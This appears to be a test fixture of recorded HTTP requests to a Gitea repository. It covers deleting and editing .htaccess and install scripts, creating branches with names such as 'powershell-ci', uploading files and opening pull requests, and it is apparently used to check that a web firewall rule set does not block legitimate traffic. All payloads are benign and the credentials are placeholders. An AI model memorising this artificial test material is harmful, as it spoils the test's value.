+{"method": "POST", "target": "/alice/tools/_delete/main/.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 621", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryQH6Zh33PIE4XdrL5", "x-gitea-fetch-action: 1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_delete/main/.htaccess", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundaryQH6Zh33PIE4XdrL5\r\nContent-Disposition: form-data; name=\"commit_summary\"\r\n\r\nRemove .htaccess\r\n------WebKitFormBoundaryQH6Zh33PIE4XdrL5\r\nContent-Disposition: form-data; name=\"commit_message\"\r\n\r\n\r\n------WebKitFormBoundaryQH6Zh33PIE4XdrL5\r\nContent-Disposition: form-data; name=\"commit_choice\"\r\n\r\ndirect\r\n------WebKitFormBoundaryQH6Zh33PIE4XdrL5\r\nContent-Disposition: form-data; name=\"new_branch_name\"\r\n\r\nalice-patch-1\r\n------WebKitFormBoundaryQH6Zh33PIE4XdrL5\r\nContent-Disposition: form-data; name=\"last_commit\"\r\n\r\nd44f04577d741b385554aaf75898d84c0e6be0e4\r\n------WebKitFormBoundaryQH6Zh33PIE4XdrL5--\r\n"}
+{"method": "POST", "target": "/alice/tools/_delete/main/scripts/install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 637", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary5NJfG6GBxpj4Yj1g", "x-gitea-fetch-action: 1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_delete/main/scripts/install-script.sh", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundary5NJfG6GBxpj4Yj1g\r\nContent-Disposition: form-data; name=\"commit_summary\"\r\n\r\nRemove scripts/install-script.sh\r\n------WebKitFormBoundary5NJfG6GBxpj4Yj1g\r\nContent-Disposition: form-data; name=\"commit_message\"\r\n\r\n\r\n------WebKitFormBoundary5NJfG6GBxpj4Yj1g\r\nContent-Disposition: form-data; name=\"commit_choice\"\r\n\r\ndirect\r\n------WebKitFormBoundary5NJfG6GBxpj4Yj1g\r\nContent-Disposition: form-data; name=\"new_branch_name\"\r\n\r\nalice-patch-1\r\n------WebKitFormBoundary5NJfG6GBxpj4Yj1g\r\nContent-Disposition: form-data; name=\"last_commit\"\r\n\r\ne0855ca76e18ad6cc42b3ed5c99247293522f926\r\n------WebKitFormBoundary5NJfG6GBxpj4Yj1g--\r\n"}
+{"method": "POST", "target": "/alice/tools/branches/_new/branch/main", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 28", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "new_branch_name=docker-build"}
+{"method": "POST", "target": "/alice/tools/branches/rename", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 52", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "from=feat%2Fdocker-support&to=feat%2Fpython3-support"}
+{"method": "POST", "target": "/alice/tools/branches/_new/branch/main", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 32", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "new_branch_name=powershell-build"}
+{"method": "POST", "target": "/alice/tools/branches/rename", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 46", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "from=powershell-build&to=fix-powershell-module"}
+{"method": "POST", "target": "/alice/tools/_edit/main/docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 917", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXJTF93HAC8mrhTox", "x-gitea-fetch-action: 1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundaryXJTF93HAC8mrhTox\r\nContent-Disposition: form-data; name=\"tree_path\"\r\n\r\ndocker-compose.yml\r\n------WebKitFormBoundaryXJTF93HAC8mrhTox\r\nContent-Disposition: form-data; name=\"content\"\r\n\r\nservices:\r\n  web:\r\n    image: nginx:1.27\r\n    restart: always\r\n------WebKitFormBoundaryXJTF93HAC8mrhTox\r\nContent-Disposition: form-data; name=\"commit_summary\"\r\n\r\nRestart the web service\r\n------WebKitFormBoundaryXJTF93HAC8mrhTox\r\nContent-Disposition: form-data; name=\"commit_message\"\r\n\r\n\r\n------WebKitFormBoundaryXJTF93HAC8mrhTox\r\nContent-Disposition: form-data; name=\"commit_choice\"\r\n\r\ncommit-to-new-branch\r\n------WebKitFormBoundaryXJTF93HAC8mrhTox\r\nContent-Disposition: form-data; name=\"new_branch_name\"\r\n\r\nfeat/docker-support\r\n------WebKitFormBoundaryXJTF93HAC8mrhTox\r\nContent-Disposition: form-data; name=\"last_commit\"\r\n\r\nc6cac64cde0f4e20fc2e0fc7e947145752b50ab5\r\n------WebKitFormBoundaryXJTF93HAC8mrhTox--\r\n"}
+{"method": "POST", "target": "/alice/tools/_new/main/", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 853", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary6wkagZ2DWcFZT1EP", "x-gitea-fetch-action: 1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_new/main/", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundary6wkagZ2DWcFZT1EP\r\nContent-Disposition: form-data; name=\"tree_path\"\r\n\r\ndocs/setup.md\r\n------WebKitFormBoundary6wkagZ2DWcFZT1EP\r\nContent-Disposition: form-data; name=\"content\"\r\n\r\n# Setup\r\n------WebKitFormBoundary6wkagZ2DWcFZT1EP\r\nContent-Disposition: form-data; name=\"commit_summary\"\r\n\r\nAdd setup notes\r\n------WebKitFormBoundary6wkagZ2DWcFZT1EP\r\nContent-Disposition: form-data; name=\"commit_message\"\r\n\r\n\r\n------WebKitFormBoundary6wkagZ2DWcFZT1EP\r\nContent-Disposition: form-data; name=\"commit_choice\"\r\n\r\ncommit-to-new-branch\r\n------WebKitFormBoundary6wkagZ2DWcFZT1EP\r\nContent-Disposition: form-data; name=\"new_branch_name\"\r\n\r\npowershell-setup-notes\r\n------WebKitFormBoundary6wkagZ2DWcFZT1EP\r\nContent-Disposition: form-data; name=\"last_commit\"\r\n\r\nc6cac64cde0f4e20fc2e0fc7e947145752b50ab5\r\n------WebKitFormBoundary6wkagZ2DWcFZT1EP--\r\n"}
+{"method": "POST", "target": "/alice/tools/_delete/main/scripts/install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 648", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryGgvHwu0BZkGKBgYt", "x-gitea-fetch-action: 1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_delete/main/scripts/install-script.sh", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundaryGgvHwu0BZkGKBgYt\r\nContent-Disposition: form-data; name=\"commit_summary\"\r\n\r\nDrop the old setup script\r\n------WebKitFormBoundaryGgvHwu0BZkGKBgYt\r\nContent-Disposition: form-data; name=\"commit_message\"\r\n\r\n\r\n------WebKitFormBoundaryGgvHwu0BZkGKBgYt\r\nContent-Disposition: form-data; name=\"commit_choice\"\r\n\r\ncommit-to-new-branch\r\n------WebKitFormBoundaryGgvHwu0BZkGKBgYt\r\nContent-Disposition: form-data; name=\"new_branch_name\"\r\n\r\npython3-migration\r\n------WebKitFormBoundaryGgvHwu0BZkGKBgYt\r\nContent-Disposition: form-data; name=\"last_commit\"\r\n\r\nc6cac64cde0f4e20fc2e0fc7e947145752b50ab5\r\n------WebKitFormBoundaryGgvHwu0BZkGKBgYt--\r\n"}
+{"method": "POST", "target": "/api/v1/repos/alice/tools/branches", "headers": ["Accept-Encoding: identity", "Content-Length: 78", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"new_branch_name\": \"powershell-ci\", \"old_branch_name\": \"feat/docker-support\"}"}
+{"method": "POST", "target": "/api/v1/repos/alice/tools/branches", "headers": ["Accept-Encoding: identity", "Content-Length: 76", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"new_branch_name\": \"python3-docs\", \"old_ref_name\": \"fix-powershell-module\"}"}
+{"method": "POST", "target": "/api/v1/repos/alice/tools/branches", "headers": ["Accept-Encoding: identity", "Content-Length: 67", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"new_branch_name\": \"docker-build\", \"old_ref_name\": \"python3-docs\"}"}
+{"method": "POST", "target": "/api/v1/repos/alice/tools/branches", "headers": ["Accept-Encoding: identity", "Content-Length: 84", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"new_branch_name\": \"update-powershell-scripts\", \"old_branch_name\": \"powershell-ci\"}"}
+{"method": "POST", "target": "/api/v1/repos/alice/tools/contents/docs/notes.md", "headers": ["Accept-Encoding: identity", "Content-Length: 117", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"content\": \"IyBOb3Rlcwo=\", \"message\": \"Add notes\", \"branch\": \"python3-docs\", \"new_branch\": \"update-powershell-docs\"}"}
+{"method": "PUT", "target": "/api/v1/repos/alice/tools/contents/docker-compose.yml", "headers": ["Accept-Encoding: identity", "Content-Length: 220", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"content\": \"c2VydmljZXM6CiAgd2ViOgogICAgaW1hZ2U6IG5naW54OjEuMjgK\", \"sha\": \"3c7f894b1cd24c6756ec9b3bfd82c15f9f14b621\", \"message\": \"Pin nginx 1.28\", \"branch\": \"fix-powershell-module\", \"new_branch\": \"feat/python3-support\"}"}
+{"method": "DELETE", "target": "/api/v1/repos/alice/tools/contents/.htaccess", "headers": ["Accept-Encoding: identity", "Content-Length: 100", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"message\": \"Remove .htaccess\", \"sha\": \"5a928f6da25ac6d6ba65480b76d03a71cb906138\", \"branch\": \"main\"}"}
+{"method": "POST", "target": "/api/v1/repos/alice/tools/pulls", "headers": ["Accept-Encoding: identity", "Content-Length: 111", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"title\": \"Add notes\", \"head\": \"update-powershell-docs\", \"base\": \"python3-docs\", \"body\": \"Notes on the build.\"}"}
+{"method": "POST", "target": "/api/v1/repos/alice/tools/pulls", "headers": ["Accept-Encoding: identity", "Content-Length: 119", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"title\": \"Pin nginx 1.28\", \"head\": \"feat/python3-support\", \"base\": \"fix-powershell-module\", \"body\": \"Pins the image.\"}"}
+{"method": "POST", "target": "/alice/tools/_edit/main/.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 863", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryaivMiokQADQq4NtY", "x-gitea-fetch-action: 1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_edit/main/.htaccess", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundaryaivMiokQADQq4NtY\r\nContent-Disposition: form-data; name=\"tree_path\"\r\n\r\n.htaccess\r\n------WebKitFormBoundaryaivMiokQADQq4NtY\r\nContent-Disposition: form-data; name=\"content\"\r\n\r\nOptions -Indexes\r\n# No directory listings\r\n\r\n------WebKitFormBoundaryaivMiokQADQq4NtY\r\nContent-Disposition: form-data; name=\"commit_summary\"\r\n\r\nUpdate .htaccess\r\n------WebKitFormBoundaryaivMiokQADQq4NtY\r\nContent-Disposition: form-data; name=\"commit_message\"\r\n\r\n\r\n------WebKitFormBoundaryaivMiokQADQq4NtY\r\nContent-Disposition: form-data; name=\"commit_choice\"\r\n\r\ndirect\r\n------WebKitFormBoundaryaivMiokQADQq4NtY\r\nContent-Disposition: form-data; name=\"new_branch_name\"\r\n\r\nalice-patch-1\r\n------WebKitFormBoundaryaivMiokQADQq4NtY\r\nContent-Disposition: form-data; name=\"last_commit\"\r\n\r\nffc08c9292a98056320d2bd18dcbbf59f6a295a6\r\n------WebKitFormBoundaryaivMiokQADQq4NtY--\r\n"}
+{"method": "POST", "target": "/alice/tools/_edit/main/scripts/install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 892", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAq0SOTFSXOPVKHAq", "x-gitea-fetch-action: 1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_edit/main/scripts/install-script.sh", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundaryAq0SOTFSXOPVKHAq\r\nContent-Disposition: form-data; name=\"tree_path\"\r\n\r\nscripts/install-script.sh\r\n------WebKitFormBoundaryAq0SOTFSXOPVKHAq\r\nContent-Disposition: form-data; name=\"content\"\r\n\r\necho Installing the tools.\r\necho Done.\r\n\r\n------WebKitFormBoundaryAq0SOTFSXOPVKHAq\r\nContent-Disposition: form-data; name=\"commit_summary\"\r\n\r\nUpdate scripts/install-script.sh\r\n------WebKitFormBoundaryAq0SOTFSXOPVKHAq\r\nContent-Disposition: form-data; name=\"commit_message\"\r\n\r\n\r\n------WebKitFormBoundaryAq0SOTFSXOPVKHAq\r\nContent-Disposition: form-data; name=\"commit_choice\"\r\n\r\ndirect\r\n------WebKitFormBoundaryAq0SOTFSXOPVKHAq\r\nContent-Disposition: form-data; name=\"new_branch_name\"\r\n\r\nalice-patch-1\r\n------WebKitFormBoundaryAq0SOTFSXOPVKHAq\r\nContent-Disposition: form-data; name=\"last_commit\"\r\n\r\ncdbcc43e2d95fc5e44c4e9ede83a863325e7d668\r\n------WebKitFormBoundaryAq0SOTFSXOPVKHAq--\r\n"}
+{"method": "POST", "target": "/alice/tools/upload-file", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 205", "Cache-Control: no-cache", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryyheLYQzsxsqzKRYN", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_upload/main/docs", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundaryyheLYQzsxsqzKRYN\r\nContent-Disposition: form-data; name=\"file\"; filename=\"release-notes.txt\"\r\nContent-Type: text/plain\r\n\r\nRelease notes\n\r\n------WebKitFormBoundaryyheLYQzsxsqzKRYN--\r\n"}
+{"method": "POST", "target": "/alice/tools/_upload/main/docs", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 877", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryyCFnA1BqZxxqB6yV", "x-gitea-fetch-action: 1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_upload/main/docs", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundaryyCFnA1BqZxxqB6yV\r\nContent-Disposition: form-data; name=\"tree_path\"\r\n\r\ndocs\r\n------WebKitFormBoundaryyCFnA1BqZxxqB6yV\r\nContent-Disposition: form-data; name=\"files\"\r\n\r\nb3d7a2fa-6915-4cd3-a102-8bb6b2a6b265\r\n------WebKitFormBoundaryyCFnA1BqZxxqB6yV\r\nContent-Disposition: form-data; name=\"commit_summary\"\r\n\r\nUpload the release notes\r\n------WebKitFormBoundaryyCFnA1BqZxxqB6yV\r\nContent-Disposition: form-data; name=\"commit_message\"\r\n\r\n\r\n------WebKitFormBoundaryyCFnA1BqZxxqB6yV\r\nContent-Disposition: form-data; name=\"commit_choice\"\r\n\r\ncommit-to-new-branch\r\n------WebKitFormBoundaryyCFnA1BqZxxqB6yV\r\nContent-Disposition: form-data; name=\"new_branch_name\"\r\n\r\nfeat/docker-support\r\n------WebKitFormBoundaryyCFnA1BqZxxqB6yV\r\nContent-Disposition: form-data; name=\"last_commit\"\r\n\r\n2b279d9869ed64140fb507e47dd39e27d56f5f5b\r\n------WebKitFormBoundaryyCFnA1BqZxxqB6yV--\r\n"}
+{"method": "POST", "target": "/alice/tools/upload-file", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 191", "Cache-Control: no-cache", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryB2uzyhPAU3D4O015", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_upload/main/scripts/powershell", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundaryB2uzyhPAU3D4O015\r\nContent-Disposition: form-data; name=\"file\"; filename=\"build.ps1\"\r\nContent-Type: text/plain\r\n\r\n# Build\n\r\n------WebKitFormBoundaryB2uzyhPAU3D4O015--\r\n"}
+{"method": "POST", "target": "/alice/tools/_upload/main/scripts/powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 898", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABbslrrmQcLLjC7K", "x-gitea-fetch-action: 1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_upload/main/scripts/powershell", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundaryABbslrrmQcLLjC7K\r\nContent-Disposition: form-data; name=\"tree_path\"\r\n\r\nscripts/powershell\r\n------WebKitFormBoundaryABbslrrmQcLLjC7K\r\nContent-Disposition: form-data; name=\"files\"\r\n\r\n0c3fbe09-3186-4d0e-a023-0cca305dc542\r\n------WebKitFormBoundaryABbslrrmQcLLjC7K\r\nContent-Disposition: form-data; name=\"commit_summary\"\r\n\r\nAdd a PowerShell build script\r\n------WebKitFormBoundaryABbslrrmQcLLjC7K\r\nContent-Disposition: form-data; name=\"commit_message\"\r\n\r\n\r\n------WebKitFormBoundaryABbslrrmQcLLjC7K\r\nContent-Disposition: form-data; name=\"commit_choice\"\r\n\r\ncommit-to-new-branch\r\n------WebKitFormBoundaryABbslrrmQcLLjC7K\r\nContent-Disposition: form-data; name=\"new_branch_name\"\r\n\r\nfix-powershell-module\r\n------WebKitFormBoundaryABbslrrmQcLLjC7K\r\nContent-Disposition: form-data; name=\"last_commit\"\r\n\r\n2b279d9869ed64140fb507e47dd39e27d56f5f5b\r\n------WebKitFormBoundaryABbslrrmQcLLjC7K--\r\n"}
+{"method": "POST", "target": "/alice/tools/_cherrypick/6b02ec93e44121cfc39bbfbf65bdfb6226280abe/main/", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 739", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryka8jcMXzaKnykzrG", "x-gitea-fetch-action: 1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_cherrypick/6b02ec93e44121cfc39bbfbf65bdfb6226280abe/main", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundaryka8jcMXzaKnykzrG\r\nContent-Disposition: form-data; name=\"revert\"\r\n\r\nfalse\r\n------WebKitFormBoundaryka8jcMXzaKnykzrG\r\nContent-Disposition: form-data; name=\"commit_summary\"\r\n\r\nDocument .htaccess\r\n------WebKitFormBoundaryka8jcMXzaKnykzrG\r\nContent-Disposition: form-data; name=\"commit_message\"\r\n\r\n\r\n------WebKitFormBoundaryka8jcMXzaKnykzrG\r\nContent-Disposition: form-data; name=\"commit_choice\"\r\n\r\ncommit-to-new-branch\r\n------WebKitFormBoundaryka8jcMXzaKnykzrG\r\nContent-Disposition: form-data; name=\"new_branch_name\"\r\n\r\npython3-migration\r\n------WebKitFormBoundaryka8jcMXzaKnykzrG\r\nContent-Disposition: form-data; name=\"last_commit\"\r\n\r\n2b279d9869ed64140fb507e47dd39e27d56f5f5b\r\n------WebKitFormBoundaryka8jcMXzaKnykzrG--\r\n"}
+{"method": "POST", "target": "/alice/tools/_cherrypick/6b02ec93e44121cfc39bbfbf65bdfb6226280abe/main/", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 744", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundarySlKUAJALvUFixMGa", "x-gitea-fetch-action: 1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_cherrypick/6b02ec93e44121cfc39bbfbf65bdfb6226280abe/main", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundarySlKUAJALvUFixMGa\r\nContent-Disposition: form-data; name=\"revert\"\r\n\r\nfalse\r\n------WebKitFormBoundarySlKUAJALvUFixMGa\r\nContent-Disposition: form-data; name=\"commit_summary\"\r\n\r\nDocument .htaccess\r\n------WebKitFormBoundarySlKUAJALvUFixMGa\r\nContent-Disposition: form-data; name=\"commit_message\"\r\n\r\n\r\n------WebKitFormBoundarySlKUAJALvUFixMGa\r\nContent-Disposition: form-data; name=\"commit_choice\"\r\n\r\ncommit-to-new-branch\r\n------WebKitFormBoundarySlKUAJALvUFixMGa\r\nContent-Disposition: form-data; name=\"new_branch_name\"\r\n\r\nupdate-powershell-docs\r\n------WebKitFormBoundarySlKUAJALvUFixMGa\r\nContent-Disposition: form-data; name=\"last_commit\"\r\n\r\n2b279d9869ed64140fb507e47dd39e27d56f5f5b\r\n------WebKitFormBoundarySlKUAJALvUFixMGa--\r\n"}
+{"method": "POST", "target": "/api/v1/repos/alice/tools/contents", "headers": ["Accept-Encoding: identity", "Content-Length: 388", "Host: example.com", "User-Agent: Python-urllib/3.12", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "Accept: */*", "Connection: close"], "body": "{\"files\": [{\"operation\": \"create\", \"path\": \"docs/setup.md\", \"content\": \"IyBTZXR1cAo=\"}, {\"operation\": \"update\", \"path\": \"docs/notes.md\", \"content\": \"IyBOb3RlcwoKUnVuIHRoZSB0ZXN0cyBiZWZvcmUgYSByZWxlYXNlLgpTZWUgc2V0dXAubWQuCg==\", \"sha\": \"fb5a6e4c18bfe5f548e708d52b57f2aa58f7b2a8\"}], \"message\": \"Add the PowerShell setup notes\", \"branch\": \"python3-docs\", \"new_branch\": \"fix-powershell-docs\"}"}
+{"method": "POST", "target": "/api/v1/repos/alice/tools/contents", "headers": ["Accept-Encoding: identity", "Content-Length: 282", "Host: example.com", "User-Agent: Python-urllib/3.12", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "Accept: */*", "Connection: close"], "body": "{\"files\": [{\"operation\": \"update\", \"path\": \"docs/notes.md\", \"content\": \"IyBOb3RlcwoKVGhlIHdlYiBzZXJ2ZXIgcmVhZHMgLmh0YWNjZXNzLgo=\", \"sha\": \"17e0f0dedfdc83c924c6399a21434fc8240f488c\"}], \"message\": \"Document .htaccess\", \"branch\": \"fix-powershell-module\", \"new_branch\": \"python3-notes\"}"}
+{"method": "POST", "target": "/alice/tools/_preview/main/docs/setup.md", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 44", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: application/x-www-form-urlencoded;charset=UTF-8", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_edit/main/docs/setup.md", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "content=%23+Setup%0A%0AInstall+the+tools.%0A"}
+{"method": "PATCH", "target": "/api/v1/repos/alice/tools/pulls/1", "headers": ["Accept-Encoding: identity", "Content-Length: 31", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"base\": \"feat/docker-support\"}"}
+{"method": "PATCH", "target": "/api/v1/repos/alice/tools/pulls/1", "headers": ["Accept-Encoding: identity", "Content-Length: 33", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"base\": \"fix-powershell-module\"}"}

internal/coreruleset/vaultwarden.conf

